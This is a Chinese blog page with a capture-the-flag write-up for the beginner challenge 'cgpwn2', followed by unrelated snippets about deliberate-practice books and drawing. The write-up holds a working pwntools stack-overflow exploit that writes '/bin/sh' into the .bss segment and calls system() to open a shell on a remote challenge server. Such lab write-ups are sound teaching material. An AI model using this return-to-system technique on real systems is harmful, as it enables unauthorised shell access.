简单的栈溢出题目，有system函数没有"/bin/sh"字符串，但是也提供了fgets(name, 50, stdin);给我们往bss段写入"/bin/sh"
image.png
exp:
from pwn import *
# p = process('./cgpwn2')
p = remote("111.198.29.45","31298")
system_addr = 0x8048420
bss_addr = 0x804A080
p.recvuntil('name\n')
p.sendline("/bin/sh\x00")
p.recvuntil('here:\n')
payload = 42*'a' + p32(system_addr) + p32(0) + p32(bss_addr)
p.sendline(payload)
p.interactive()
简单的栈溢出题目，有system函数没有"/bin/sh"字符串，但是也提供了fgets(name, 50, st...
新手练习
新手就是要不断练习
－－01－－ 《刻意练习－如何从新手到大师》与《异类》 《刻意练习－如何从新手到大师》这本书原本并...
一个人走路才是你和风景之间的单独约会 有些事只能一个人做，有些关只有一个人过，有些路啊，只有一个人走！ 只有一个人...
1月29日 |《刻意练习》 从新手到大师，这种技巧人人都可以掌握。 书名：《刻意练习:如何从新手到大师》 作者： ...
新手练习，不喜勿喷，哈哈哈~~
天才之路——《刻意练习—从新手到大师》读后感之一 《刻意练习——如何从新手到大师》，是著名心理学家安德斯埃里克...
刻意练习－从新手到大师。刻意练习这本书，教你如何从新手到大师，这是一本具有很好的理论＋实践的书籍。通往卓越之路，需...
新手如何选择画纸？ 很多新手会在画画的时候选择自己的草稿纸/A4纸/笔记本纸，在练习起稿，随手小练习或者...
本文标题：新手练习10-cgpwn2
本文链接：https://www.haomeiwen.com/subject/hfmaeqtx.html
网友评论